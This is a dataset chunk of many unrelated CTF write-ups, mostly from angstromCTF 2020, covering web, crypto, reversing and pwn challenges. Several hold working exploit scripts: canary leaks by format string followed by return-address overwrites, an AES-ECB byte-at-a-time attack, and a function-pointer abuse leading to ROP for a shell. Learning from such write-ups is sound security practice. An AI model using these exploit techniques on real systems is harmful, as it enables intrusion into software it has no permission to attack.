text_chunk
stringlengths
151
703k
# The Magic Word **20 Points** The entry challenge we come across a page with sentence give flag in front ![Imgur](https://i.imgur.com/j0RnMNh.png) viewing the source code we see that the inner text of the tag have to be please give flag to navigate to the flag ![Imgur](https://i.imgur.com/bYWxBKa.png) so we change the text to please give flag and we have our flag ![Imgur](https://i.imgur.com/Dr1FzCX.png) **Flag=actf{1nsp3c7\_3l3m3nt\_is\_y0ur\_b3st\_fri3nd}**
# msdMisc, 140 > You thought Angstrom would have a stereotypical LSB challenge... You were wrong! To spice it up, we're now using the Most Significant Digit. Can you still power through it?>> Here's the encoded image, and here's the original image, for the... well, you'll see.>> Linked: public.py, output.png, breathe.jpg From the description, we know that we have to extract the most significant digit, similar to how LSB (least bit steganography) works. After analyzing the code given, we discover that the `encode` function has two edge cases:1. When the digit to encode is 0, the most significant digit is the one over. `0 -> 123` gives `23`2. When the encoded output is > 255, PIL automatically caps at 255, meaning data is lost. `955` gets capped to `255` after `im.putpixel`. To resolve edge case 1, we can simply compare the length of the original pixel with the encoded pixel. If they are different, then we know the digit encoded was a 0. To resolve edge case 2, we don't. We observe that the flag is repeated many times, and can reason that the full flag will be in there somewhere ;). ```pythonfrom PIL import Image im = Image.open("output.png")im2 = Image.open("breathe.jpg") width, height = im.size def decode(i, compare): """ Pads the encoded value with 0s from the left, based on the length of the original value Think about why this works! """ i = list(str(i).zfill(len(str(compare)))) return i[0] pixels = im.load()pixels2 = im2.load() s = ""binary = [] for j in range(height): for i in range(width): data = [] for a, compare in zip(im.getpixel((i,j)), im2.getpixel((i, j))): data.append(decode(a, compare)) # get MSD of the pixel s += ''.join(data) s = list(s)data = [] while len(s) > 0: t = "" curr = s.pop(0) if curr != "1": # handle the 1xx ascii codes t += curr + s.pop(0) else: # handle the xx ascii codes t += curr + s.pop(0) + s.pop(0) data.append(t) data = ''.join([chr(int(i)) for i in data]) # turn all the results into ASCII import re r1 = re.findall(r"actf{.*?}", data) # look for the flag using regex min = min(map(len, r1)) # get shortest result for i in r1: if len(i) == min: print(i) # print shortest result```
This one was pretty straight forward. The hardest part was calculating fibbonacci numbers quickly, but luckily, there's a formula for that! It's called [Binet's formula](https://artofproblemsolving.com/wiki/index.php/Binet%27s_Formula). With this, we can create a simple script that reads from the terminal, does the shift, and sends it back to the terminal. The program eventually crashes once it recieves an invalid input from receiving the flag, but hey, at least it gives you the flag ¯\\\_(ツ)_/¯ ```import structimport socketimport mathfrom caesarcipher import CaesarCipher s = socket.socket()s.connect(("misc.2020.chall.actf.co", 20300)) def Fib(n): #binet's formula return int((1/math.sqrt(5))*((((1+math.sqrt(5))/2)**n) - (((1-math.sqrt(5))/2)**n))) while True: r = s.recv(1024).decode().strip() print(r) string = r[r.find("Shift") +6: r.find("by")-1 ].strip() shift = Fib(int(r[r.find("n=") +2:r.find("\\n:")].rstrip())) result = CaesarCipher(string, offset=shift) s.send(result.encoded.encode() + b"\n")```
# Git Good **70 Points** we run dirb first for the challenge domain and we see that it has a /.git directory ![Imgur](https://i.imgur.com/NhsIVfP.png) so we can just clone it ![Imgur](https://i.imgur.com/1UHu8IP.png) we get a thisisflag.txt file but when we open it we get ![Imgur](https://i.imgur.com/GHm23Mo.png) so if the flag was there and the file got modified we can see the commits that happened ![Imgur](https://i.imgur.com/gvKuJPQ.png) so we can just see the diff for the actual intial commit and we got the flag ![Imgur](https://i.imgur.com/CoQ2LFC.png) **Flag=actf{b3\_car3ful\_wh4t\_y0u\_s3rve\_wi7h}**
# Woooosh### Category: web### Description: Clam's tired of people hacking his sites so he spammed obfuscation on his new game. I have a feeling that behind that wall of obfuscated javascript there's still a vulnerable site though. Can you get enough points to get the flag? I also found the [backend source](index.js). ### Author: aplet123 Our js client was heavily obfuscated, so we went directly for traffic analysis, using burpsuite. We found some interesting data ```Server -> Client:--------------------------------------362:42["shapes",[{"x":473,"y":133},{"x":489,"y":70},{"x":67,"y":241},{"x":229,"y":297},{"x":273,"y":12},{"x":386,"y":205},{"x":172,"y":37},{"x":466,"y":135},{"x":98,"y":213},{"x":265,"y":247},{"x":377,"y":3},{"x":359,"y":54},{"x":386,"y":255},{"x":339,"y":289},{"x":244,"y":48},{"x":71,"y":184},{"x":262,"y":96},{"x":286,"y":163},{"x":367,"y":73},{"x":186,"y":240}]] Client -> Server:--------------------------------------1:225:42["click",318,88.015625] (Response: ok)--------------------------------------11:42["start"] (Response: ok)``` It seems that the client will send commands to the server, then get a list of coordinates, necessary to draw the shapes. We want to know how the circle is created, and it isn't mentioned at all in the sent data. Retrieving it through the client is not viable due to obfuscation. But the server source code has something for us ```jsif (dist(game.shapes[0].x, game.shapes[1].y, x, y) < 10) { game.score++; }``` This means that the circle is drawn at the x coordinate of the first shape, and the y coordinate of the second one. We now know where to click, but how?We first tried creating a bot using python-requests, but the only reply from the server we were getting was ```1:1```.Nevermind, python is too boring anyway.We first wanted to hijack the client function that sent clicks, to always send correct ones, but obfuscation meant no.The debugger was also disabled, along with ``` console.log ```, ```console.error```, and pretty much anything else. Time to learn how socket.io works (not really).From the docs we got that we could use something like ```socket.emit(data)``` to forge our request, using the command formats we got using burpsuite.Luckily we had a ```socket``` object already set up and ready to go, so we start the game by doing ```jssocket.emit('start');```We could set up a callback for when the client receives ```'shapes'``` events, but we love to live on the edge. So we're going to check for an update in an array, conveniently called ```shapes```. We do this by declaring two global variables, and updating them once we see a difference ```jsx = 0;y = 0; while (true) { await new Promise(r => setTimeout(r, 100)); //sleeping 100ms to not crash let x1, y2; try { //this is in a try because the array is not defined from the beginning x1 = shapes[0].x; //the indexes are mismatched due to circle being at y2 = shapes[1].y; //x0, y1 (see backend code) } catch(error) {} //no logging because disabled``` Once we know we have valid coords ```jsif (x1 != x && y2 != y) {```we can sumbit them, by sending a ```'click'``` command ```jsx = x1; y = y2; socket.emit('click', x, y); } }``` This will be repeated over and over, as this is in a while (true) cycleThis is the full code, that has to be pasted in the browser's console: ```jssocket.emit('start'); x = 0;y = 0; while (true) { await new Promise(r => setTimeout(r, 100)); let x1, y2; try { x1 = shapes[0].x; y2 = shapes[1].y; } catch(error) {} if (x1 != x && y2 != y) { x = x1; y = y2; socket.emit('click', x, y); } }``` ### Flag: ```actf{w0000sh_1s_th3_s0und_0f_th3_r3qu3st_fly1ng_p4st_th3_fr0nt3nd}```
```python#!/usr/bin/python2 from pwn import * import sys context.arch = 'x86_64' FLAG_ADDR = 0x0000000000400787 def info(s): log.info(s) def exploit(r): r.readuntil('your name?') payload = "%%%d$p" % 17 r.sendline(payload) data = r.readuntil("!") data = data.split(',') canary = int(data[1].strip()[:-1], 16) info("Canary: {}".format(hex(canary))) payload = "A" * 56 payload += p64(canary) payload += "B"*8 payload += p64(FLAG_ADDR) r.sendlineafter("me?", payload) r.interactive() if __name__ == '__main__': HOST, PORT = "shell.actf.co", 20701 if len(sys.argv) > 1: r = remote(HOST, PORT) exploit(r) else: r = process(['/problems/2020/canary/canary']) print(util.proc.pidof(r)) pause() exploit(r) ``` I uploaded the code into server, then: ```bash$ cd /problems/2020/canary$ python2 ~/canary.py [+] Starting local process '/problems/2020/canary/canary': pid 26563[26563][*] Paused (press any to continue)[*] Canary: 0x9b3b48629b452e00[*] Switching to interactive modeactf{youre_a_canary_killer_>:(}```
```#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import * exe = context.binary = ELF('canary')context.terminal = ['tmux', 'new-window'] host = args.HOST or 'shell.actf.co'port = int(args.PORT or 20701) def local(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) gdbscript = '''tbreak *0x00400936continue'''.format(**locals()) io = start()io.recvuntil(b"name?")io.sendline("%17$p");io.recvuntil(b"you, 0x") canary = io.recvuntil("!\n", drop=True)if len(canary) == 15: canary = b'0' + canary canary = u64(unhex(canary), endian="big") # payload = cyclic(100, n=8) - on first run to find 'haaaaaaa' in RAXpayload = fit({ cyclic_find(b'haaaaaaa', n=8): canary, cyclic_find(0x61616173): exe.sym.flag}, length=100) io.recvuntil("me?", drop=True)io.sendline(payload)log.info(io.recvline()) # io.interactive()```
# Hobbit (re, 525p, 22 solved) In the task we get a [kernel module](https://raw.githubusercontent.com/TFNS/writeups/master/2020-03-07-zer0ptsCTF/hobbit/hobbit.ko) and a custom format [binary](https://raw.githubusercontent.com/TFNS/writeups/master/2020-03-07-zer0ptsCTF/hobbit/chall.hbt).We also get all the rest of necessary setup to run this via qemu. The kernel module contains logic of loading the HOBBIT binaries.Our initial approach was to reverse engineer the loader, since it's doing some machine code decoding process, and get the pure code from the binary. This proved to be quite challenging, even more so if someone is not well versed in kernel functions.The loading process seems to first decode the header and then rest of the binary, both using the same `The_Load_of_the_Rings` function, which in turn calls `wear_ring` function, which calls `pickup` and `adjust`.The two last ones are the core - they perform lots of XORs on the binary payload. We tried to re-implement them, but it didn't work, and without ability to debug the original loader it's hard to know where can be the mistake. The second idea was to run this, debug qemu with gdb and break on the binary loading process, but this proved to be very complicated to perform. Finally we tried the best approach for every RE task -> don't reverse it at all.Instead we run qemu, start the hobbit binary (to make sure it's loaded in memory) and then dumped qemu memory with `gcore`.We effectively swapped RE problem for a forensics one. Now we have 512MB dump to analyze.Fortunately the binary prints `FLAG:` when it starts so we can grep for this string in the memdump, and we find some nice part: ```FLAG: .Correct!..Wrong!..]CW.SVR[{-.xhEn){zJz#fNr
# Inputter (320 solves) > Clam **really** likes challenging himself. When he learned about all these weird unprintable ASCII characters he just HAD to put it in a challenge. >> Can you satisfy his knack for strange and hard-to-input characters? Source.>> Find it on the shell server at `/problems/2020/inputter/`.>> Author: aplet123 ```c++#define _GNU_SOURCE #include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/types.h>#include <unistd.h> #define FLAGSIZE 128 void print_flag() { gid_t gid = getegid(); setresgid(gid, gid, gid); FILE *file = fopen("flag.txt", "r"); char flag[FLAGSIZE]; if (file == NULL) { printf("Cannot read flag file.\n"); exit(1); } fgets(flag, FLAGSIZE, file); printf("%s", flag);} int main(int argc, char* argv[]) { setvbuf(stdout, NULL, _IONBF, 0); if (argc != 2) { puts("Your argument count isn't right."); return 1; } if (strcmp(argv[1], " \n'\"\x07")) { puts("Your argument isn't right."); return 1; } char buf[128]; fgets(buf, 128, stdin); if (strcmp(buf, "\x00\x01\x02\x03\n")) { puts("Your input isn't right."); return 1; } puts("You seem to know what you're doing."); print_flag();}``` Solution: ```bash export EGG=`python -c 'print "\x20\x0a\x27\x22\x07"'` python -c "print '\x00\x01\x02\x03\n'" | ./inputter "$EGG" You seem to know what you're doing. actf{impr4ctic4l_pr0blems_c4ll_f0r_impr4ctic4l_s0lutions}```
# Mind Palace II **Categoria: Programação** # Descrição:>It's time to strain your brains. >nc 217.47.229.1 33002![MindPalaceII - Chall](palaceII_chall.png) # Solução:Ao conectar no servidor que o desafio nos deu, temos:![MindPalaceII - Servidor](mindpalaceII_1.png) O servidor nos dá uma mensagem para decodificar e aí eu vi que era "ROT-13" *¹ :![MindPalaceII - ServidorRot13](mindpalaceII_2.png) Então, fiz o seguinte script: ```#!/usr/bin/python#-*- coding: utf-8 -*- import socket, codecs def main(): HOST = '212.47.229.1' PORT = 33002 tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) dest = (HOST, PORT) tcp.connect(dest) data = tcp.recv(2048) while b"Answer" in data: if b"FLAG" in data: print(data) exit() print(data) palavra = data.split(b":")[1].split(b"\n")[0] result = codecs.encode(palavra[2::], "rot_13") print(result) if "FLAG" in result: print(result) exit() tcp.send(result + b"\n") data = tcp.recv(2048) print(data) if __name__ == "__main__": main()```*² (esse código pode ser encontrado aqui nesse github) A ideia do desafio era simples:1º - Conectar no servidor (linha 7 a 12); 2º - Receber as mensagens do servidor (linha 14); 3º - Encontrar a mensagem que o servidor deseja que a gente decodifique e decodificar a mesma(linha 21 e 22); 4º - Para decodificar a mensagem, usei a biblioteca ```codecs``` (linha 4 e 22). ![MindPalaceII - UsandoScript](mindpalaceII_3.png) ![MindPalaceII - Flag](mindpalaceII_4.png) # Flag:```FLAG{Y0U_V3RY_F45T3R_CRYPT0GR4PH}``` *¹ (https://pt.wikipedia.org/wiki/ROT13) *² (https://github.com/0x8Layer/CTF-Writeups/blob/master/SarCTF/2020/PPC/Mind%20Palace%20II/mindpalaceII_rot13.py)
# psk **90 Points** The description said that this challenge was inspired by picoctf2019 and if you played pico-ctf and listened to the audio they gave you, you will just know that the challenge is the SSTV(Slow Scan Television) which you can decode an audio to an image but this is a PSK(Phase Shift Keying) and saying its only 31 bps you can guess its psk-31 i googled what tools can decode it and found a tool named fldigi so i just installed it and choose the psk-31 mode and played the audio and it started decoding and print the flag ![Imgur](https://i.imgur.com/asxl5hH.png) **Flag=actf{hamhamhamhamham}**
# Keysar### Category: crypto### Description:Hey! My friend sent me a message... He said encrypted it with the key ANGSTROMCTF. He mumbled what cipher he used, but I think I have a clue. Gotta go though, I have history homework!! agqr{yue_stdcgciup_padas}### Author: joshdabosh ### Solution: Looking for a caesar cipher with a word as a key we got with the `Keyed Caesar` on this [site](http://rumkin.com/tools/cipher/caesar-keyed.php) so we put key and cipher text and the flag popped out:![decrypt](decrypt.png) ### Flag:```actf{yum_delicious_salad}```
# Autorev, Assemble! (225 solves) >Clam was trying to make a neural network to automatically do reverse engineering for him, but he made a typo and the neural net ended up making a reverse engineering challenge instead of solving one! Can you get the flag?>>Find it on the shell server at /problems/2020/autorev_assemble/ or over tcp at nc shell.actf.co 20203.>>Author: aplet123 The main function looks obfuscated... ```c++int __cdecl main(int argc, const char **argv, const char **envp){ puts("PROBLEM CREATION MODE: ON"); puts("VISUAL BASIC GUI: ON"); puts("HACKERMAN: ON"); puts("HOTEL: TRIVAGO"); puts("INPUT: ?"); fgets(z, 256, stdin); if ( f992(z) && f268(z) && f723(z) && f611(z) && f985(z) && f45(z) && f189(z) ... ... // bunch of calls... ... && f915(z) ) { puts("CHALLENGE: SOLVED"); } else { puts("YOUR SKILL: INSUFFICIENT"); } return 0;}``` Solution: We use angr to automatically solve challenge for us :) ```pythonimport angrimport claripyimport sys def main(): proj = angr.Project('autorev_assemble') state = proj.factory.entry_state() simgr = proj.factory.simgr(state) simgr.explore( find=0x408953, avoid=0x408961 ) print(simgr) if simgr.found: f = simgr.found[-1] print(f.posix.dumps(0)) if __name__ == "__main__": sys.exit(main())``` ```bash$ python3 solve.pyb'Blockchain big data solutions now with added machine learning. Enjoy! I sincerely hope you actf{wr0t3_4_pr0gr4m_t0_h3lp_y0u_w1th_th1s_df93171eb49e21a3a436e186bc68a5b2d8ed} instead of doing it by hand.'```
# Canary (261 solves) Simple pwn challenge, requires leaking cookie with format sting vulnerability and overwriting ret address with buffer overflow. The binary contains **flag** function at **0x400798** which we have to call to get the flag. ```c++int flag(){ return system("/bin/cat flag.txt");}``` ```c++void greet(){ char format; char v1; unsigned long long v2; cookie = __readfsqword(0x28u); printf("Hi! What's your name? "); gets(&format); printf("Nice to meet you, "); strcat(&format, "!\n"); printf(&format); // leak cookie printf("Anything else you want to tell me? "); gets(&v1;; // overwrite ret}``` Solution: ```pythonfrom pwn import *import re def leak(r): payload = b'' payload += b'%17$llx' r.sendlineafter('name? ', payload) raw = r.recvuntil('Anything') cookie = re.findall('you, (.*)!\n', raw.decode())[0] return int(cookie, 16) if __name__ == "__main__": flag = 0x400787 r = remote('shell.actf.co', 20701) c = leak(r) payload = b'' payload += b'A' * 56 # padding payload += p64(c) # cookie payload += b'B' * 8 # padding payload += p64(flag) # print flag r.sendlineafter('tell me?', payload) r.interactive()``` ```bash$ python3 solve.py[+] Opening connection to shell.actf.co on port 20701: Done[*] Switching to interactive mode actf{youre_a_canary_killer_>:(}Segmentation fault```
# Write-up: Shrek Fans Only ## Description ### My StoryA simple web page with a single image. too empty!! But the url of image is somehow interesting (`http://3.91.17.218/getimg.php?img=aW1nMS5qcGc%3D`).The `img` parameter value is like Base64 encoded value and it is. I tested by Javascript:```atob(decodeURIComponent('aW1nMS5qcGc%3D'))"img1.jpg"``` I wrote this simple Bash script, [getimg.sh](./getimg.sh), and tried different pathes and finally found `.git` directory files.```./getimg.sh ".git/HEAD"``` OK! I should try to get `.git` directory data and find the flag in the past commits of repository. ### Exploit TimeI had to write a script that would get all parts of `.git` directory, but I didn't know the structure of this directory. I searched and found [this repository](https://github.com/arthaud/git-dumper) and read some parts of [git-dumper.py](https://github.com/arthaud/git-dumper/blob/master/git-dumper.py) and did:* mkdir git (I made this diretory to be the parent of `.git` directory)* I wrote [my-dumper.py](./my-dumper.py) to get important files of `.git` directory. I have these files now:```.git/├── COMMIT_EDITMSG├── config├── description├── HEAD├── hooks│   ├── applypatch-msg.sample│   ├── commit-msg.sample│   ├── post-commit.sample│   ├── post-receive.sample│   ├── post-update.sample│   ├── pre-applypatch.sample│   ├── pre-commit.sample│   ├── prepare-commit-msg.sample│   ├── pre-push.sample│   ├── pre-rebase.sample│   ├── pre-receive.sample│   └── update.sample├── index├── info│   └── exclude├── logs│   ├── HEAD│   └── refs│   ├── heads│   │   └── master│   └── remotes│   └── origin│   └── master├── objects│   └── info└── refs ├── heads │   └── master └── remotes └── origin └── master```There should be some object files under `objects` direcotry that I don't know the names. So I tried to find out the SHA1s all over `.git` directory and used [getobject.sh script](./getobject.sh) to download and put them in the correct path.```$ cat .git/logs/HEAD0000000000000000000000000000000000000000 759be945739b04b63a09e7c02d51567501ead033 Shrek <[email protected]> 1583366532 +0000 commit (initial): initial commit759be945739b04b63a09e7c02d51567501ead033 976b625888ae0d9ee9543f025254f71e10b7bcf8 Shrek <[email protected]> 1583366704 +0000 commit: remove flag976b625888ae0d9ee9543f025254f71e10b7bcf8 d421c6aa97e8b8a60d330336ec1e829c8ffd7199 Shrek <[email protected]> 1583367714 +0000 commit: added more stuffd421c6aa97e8b8a60d330336ec1e829c8ffd7199 759be945739b04b63a09e7c02d51567501ead033 Shrek <[email protected]> 1583367723 +0000 checkout: moving from master to 759be945739b04b63a09e7c02d51567501ead033759be945739b04b63a09e7c02d51567501ead033 d421c6aa97e8b8a60d330336ec1e829c8ffd7199 Shrek <[email protected]> 1583367740 +0000 checkout: moving from 759be945739b04b63a09e7c02d51567501ead033 to master $ git checkout .error: unable to read sha1 file of getimg.php (c9566ff84d2e1ae3339bc1e6303d6d3340b5789f)error: unable to read sha1 file of img1.jpg (0e8104f51db8f9ee08f0966656a3c2307e6cde5c)error: unable to read sha1 file of index.php (5ab449745b9c25fb0b56c5fbab8d0c986541233e)Updated 3 paths from the index $ git fsck --fullbroken link from commit 976b625888ae0d9ee9543f025254f71e10b7bcf8 to tree 2f74a95c3a29776d84041f360e64d6e6b2edc7bdbroken link from commit 759be945739b04b63a09e7c02d51567501ead033 to tree aeeea4cfa5afa4dcb70e1d6109790377e7bcec4dbroken link from commit d421c6aa97e8b8a60d330336ec1e829c8ffd7199 to tree e5f40adbab45316c0307505386c3e8f113279b95missing tree e5f40adbab45316c0307505386c3e8f113279b95missing tree aeeea4cfa5afa4dcb70e1d6109790377e7bcec4dmissing tree 2f74a95c3a29776d84041f360e64d6e6b2edc7bd``` I use `git cherry-pick` command to get pre-'remove flag' files.```$ git reflogd421c6a (HEAD -> master, origin/master) HEAD@{0}: checkout: moving from 759be945739b04b63a09e7c02d51567501ead033 to master759be94 HEAD@{1}: checkout: moving from master to 759be945739b04b63a09e7c02d51567501ead033d421c6a (HEAD -> master, origin/master) HEAD@{2}: commit: added more stuff976b625 HEAD@{3}: commit: remove flag759be94 HEAD@{4}: commit (initial): initial commit $ git cherry-pick 759be94``` and after a conflict I saw `index.php` file.```$ cat index.php <html><head><title>Shrek Fanclub</title></head><body><h1>What are you doing in my swamp?</h1><<<<<<< HEAD<div>There used to be something here but Donkey won't leave me alone<div>=======<div>utflag{honey_i_shrunk_the_kids_HxSvO3jgkj}</div>>>>>>>> 759be94... initial commit</body></html>```:sunglasses: You Can See The Conflict! ### Flag`utflag{honey_i_shrunk_the_kids_HxSvO3jgkj}`
# Masochistic Sudoku (80 solves) > Clam's tired of the ease and boredom of traditional sudoku. Having just one solution that can be determined via a simple online sudoku solver isn't good enough for him. So, he made masochistic sudoku! Since there are no hints, there are around 6*10^21 possible solutions but only one is actually accepted!>> Find it on the shell server at /problems/2020/masochistic_sudoku/.>> Author: aplet123 In this challenge we have to solve sudoku. But we don't know what numbers are present and the initial field looks like this: ```bash+---+---+---+---+---+---+---+---+---+| | | | | | | | | |+---+---+---+---+---+---+---+---+---+| | | | | | | | | |+---+---+---+---+---+---+---+---+---+| | | | | | | | | |+---+---+---+---+---+---+---+---+---+| | | | | | | | | |+---+---+---+---+---+---+---+---+---+| | | | | | | | | |+---+---+---+---+---+---+---+---+---+| | | | | | | | | |+---+---+---+---+---+---+---+---+---+| | | | | | | | | |+---+---+---+---+---+---+---+---+---+| | | | | | | | | |+---+---+---+---+---+---+---+---+---+| | | | | | | | | |+---+---+---+---+---+---+---+---+---+``` If we fill the board with random numbers and hit **q**, the **check_flag** function will be called. The function checks few board positions for known values by calling **get_value** function with row_number, col_number and our entered number: ```c++int get_value(int row, int col, int number){ srand(13 * ((100 * row + 10 * col + number) ^ 0x2A) % 10067); return rand();}``` The returned value is compared with hardcoded number like this: ```asm.text:000000000040124E push rbp.text:000000000040124F mov rbp, rsp.text:0000000000401252 sub rsp, 20h.text:0000000000401256 mov eax, cs:board.text:000000000040125C mov edx, eax ; our value.text:000000000040125E mov esi, 0 ; col.text:0000000000401263 mov edi, 0 ; row.text:0000000000401268 call get_value.text:000000000040126D cmp eax, 68989C40h.text:0000000000401272 setz al.text:0000000000401275 movzx eax, al.text:0000000000401278 mov edi, eax.text:000000000040127A call assert.text:000000000040127F ; ---------------------------------------------------------------------------.text:000000000040127F mov eax, cs:dword_603170.text:0000000000401285 mov edx, eax ; our value.text:0000000000401287 mov esi, 4 ; col.text:000000000040128C mov edi, 0 ; row.text:0000000000401291 call get_value.text:0000000000401296 cmp eax, 4ED659A2h.text:000000000040129B setz al.text:000000000040129E movzx eax, al.text:00000000004012A1 mov edi, eax.text:00000000004012A3 call assert.text:00000000004012A8 ; ---------------------------------------------------------------------------.text:00000000004012A8 mov eax, cs:dword_603178.text:00000000004012AE mov edx, eax.text:00000000004012B0 mov esi, 6.text:00000000004012B5 mov edi, 0.text:00000000004012BA call get_value.text:00000000004012BF cmp eax, 7BB524E0h.text:00000000004012C4 setz al.text:00000000004012C7 movzx eax, al.text:00000000004012CA mov edi, eax.text:00000000004012CC call assert.text:00000000004012D1 ; ---------------------------------------------------------------------------.text:00000000004012D1 mov eax, cs:dword_60317C.text:00000000004012D7 mov edx, eax.text:00000000004012D9 mov esi, 7.text:00000000004012DE mov edi, 0.text:00000000004012E3 call get_value.text:00000000004012E8 cmp eax, 72B33E08h.text:00000000004012ED setz al.text:00000000004012F0 movzx eax, al.text:00000000004012F3 mov edi, eax.text:00000000004012F5 call assert.text:00000000004012FA ; ---------------------------------------------------------------------------.text:00000000004012FA mov eax, cs:dword_60318C.text:0000000000401300 mov edx, eax.text:0000000000401302 mov esi, 2.text:0000000000401307 mov edi, 1.text:000000000040130C call get_value.text:0000000000401311 cmp eax, 678DACB0h``` Solution: First of all, our task is to find this hardcoded numbers. I wrote simple program that does that: ```c++#include <stdlib.h>#include <time.h>#include <stdio.h>#include <map>#include <list>#include <set>#include <iostream>#include <algorithm> std::list<std::list<int>> mapping = { {0, 0, 0x68989C40}, {0, 4, 0x4ED659A2}, {0, 6, 0x7BB524E0}, {0, 7, 0x72B33E08}, {1, 2, 0x678DACB0}, {1, 4, 0x16C64CB9}, {1, 5, 0x776ABFDB}, {1, 6, 0x49025844}, {2, 4, 0x2496CFE6}, {2, 5, 0x7F0845AE}, {2, 7, 0x6E9739BA}, {3, 0, 0x0C24786E}, {3, 2, 0x7F1F38C9}, {4, 0, 0x33AF080}, {4, 1, 0x20AFEC13}, {4, 7, 0x79A4CFE3}, {4, 8, 0x14CAF991}, {5, 6, 0x2A7CEA7F}, {5, 8, 0x0BDB3DFA}, {6, 1, 0x7732CF61}, {6, 3, 0x2D070EB}, {6, 4, 0x702A9DF}, {7, 2, 0x741DEDC1}, {7, 3, 0x1491F67C}, {7, 4, 0x7DF52E16}, {7, 6, 0x1A72C9C4}, {8, 1, 0x7F53CB83}, {8, 2, 0x551B572E}, {8, 4, 0x134A8092}, {8, 8, 0x56063756},}; int brute(int row, int col, int find_val) { int c; for (int i = 0; i < 0xffffffff; i++) { srand(13 * ((100 * row + 10 * col + i) ^ 0x2A) % 10067); c = rand(); if (c == find_val) { printf("FOUND KEY at [%d, %d] == %d\n", row + 1, col + 1, i); break; } }} int main() { for (auto &elem : mapping) { std::list<int>::iterator it = elem.begin(); auto v1 = *it; std::advance(it, 1); auto v2 = *it; std::advance(it, 1); auto v3 = *it; brute(v1, v2, v3); } return 0;}``` ```bashFOUND KEY at [1, 1] == 1FOUND KEY at [1, 5] == 6FOUND KEY at [1, 7] == 8FOUND KEY at [1, 8] == 5FOUND KEY at [2, 3] == 5FOUND KEY at [2, 5] == 8FOUND KEY at [2, 6] == 3FOUND KEY at [2, 7] == 1FOUND KEY at [3, 5] == 1FOUND KEY at [3, 6] == 2FOUND KEY at [3, 8] == 9FOUND KEY at [4, 1] == 9FOUND KEY at [4, 3] == 7FOUND KEY at [5, 1] == 5FOUND KEY at [5, 2] == 3FOUND KEY at [5, 8] == 8FOUND KEY at [5, 9] == 9FOUND KEY at [6, 7] == 3FOUND KEY at [6, 9] == 5FOUND KEY at [7, 2] == 4FOUND KEY at [7, 4] == 6FOUND KEY at [7, 5] == 2FOUND KEY at [8, 3] == 6FOUND KEY at [8, 4] == 1FOUND KEY at [8, 5] == 9FOUND KEY at [8, 7] == 7FOUND KEY at [9, 2] == 2FOUND KEY at [9, 3] == 1FOUND KEY at [9, 5] == 3FOUND KEY at [9, 9] == 4``` After that we go to online sudoku solver, enter this values and hit solve. We fill the board with right values and get the flag :) Here is my board: ![board](images/board.png) ```actf{sud0ku_but_f0r_pe0ple_wh0_h4te_th3mselves}```
# Aero CTF 2020 : Old Crypto Server **category** : crypto **points** : 100 ## write-up AES ECB encrypt `msg + flag`, `msg` is controllable. Send `msg = 'a' * 15`, and the first block will be `'a' * 15 + flag[0]` Then send `msg = 'a' * 15 + '0'`, `msg = 'a' * 15 + '1'`, ..., until you find a match with the previous result and you got `flag[0]`. Send `msg = 'a' * 14`, and the first block will be `'a' * 14 + flag[0] + flag[1]` Then send `msg = 'a' * 14 + flag[0] + '0'`, `msg = 'a' * 14 + flag[0] + '1'`, ..., until you find a match with the previous result and got `flag[1]` Keep going and you will find the whole flag. See `solve.py` for more detail. # other write-ups and resources
![alt chal_desc](./chall_desc.png) ### Author: p4w### Twitter: @p4w16 Running the binary:```$ ./unary0. EXIT1. x++2. x--3. ~x4. -xOperator: 1x = 5f(x) = 60. EXIT1. x++2. x--3. ~x4. -xOperator:``` Disassemble of main():```0x0040080f call show_menu ; sym.show_menu0x00400814 mov rdi, rbp0x00400817 call read_int ; sym.read_int0x0040081c mov ebx, eax0x0040081e test eax, eax0x00400820 je 0x4008550x00400822 mov rdi, r140x00400825 call read_int ; sym.read_int0x0040082a sub ebx, 10x0040082d movsxd rbx, ebx0x00400830 mov rsi, r130x00400833 mov edi, eax0x00400835 call qword [r12 + rbx*8]```Disassemble of read_int():```0x0040079e sub rsp, 0x180x004007a2 mov rdx, rdi ; arg10x004007a5 lea rsi, [0x00400916]0x004007ac mov edi, 10x004007b1 mov eax, 00x004007b6 call __printf_chk ; sym.imp.__printf_chk0x004007bb lea rsi, [var_ch]0x004007c0 lea rdi, [0x00400919] ; const char *format0x004007c7 mov eax, 00x004007cc call __isoc99_scanf ; sym.imp.__isoc99_scanf ; int scanf(const char *format)0x004007d1 cmp eax, 1 ; rdx0x004007d4 je 0x4007e00x004007d6 mov edi, 0 ; int status0x004007db call exit ; sym.imp.exit ; void exit(int status)0x004007e0 mov eax, dword [var_ch]0x004007e4 add rsp, 0x180x004007e8 ret``` The first call to `read_int()` read our input using `__isoc99_scanf()` and the rexult got stored in `eax` (0x004007e0), after that the contents of `eax` got transferred into `ebx` (0x0040081c).The vulnerable line reside in 0x00400835 of `main()` func, as we can see it does a `call qword [r12 + rbx*8]` and we can control the `rbx` register with our input (our input is used as an offsett to a function pointer).The sencond input we can pass to the program, will be the argument to the func. pointer (look at instruction addr. 0x00400833).How we can abuse this behavior?Passing an offsett (our first input) and trick the programm to make a call instruction on __puts@GOT__ to leak libc address, then use same method to call ____isoc99_scanf@GOT__ with a `"%s"` argument to gain stack buffer overflow. From there we can just use __ROP__ to gain a shell.The exploit is available here
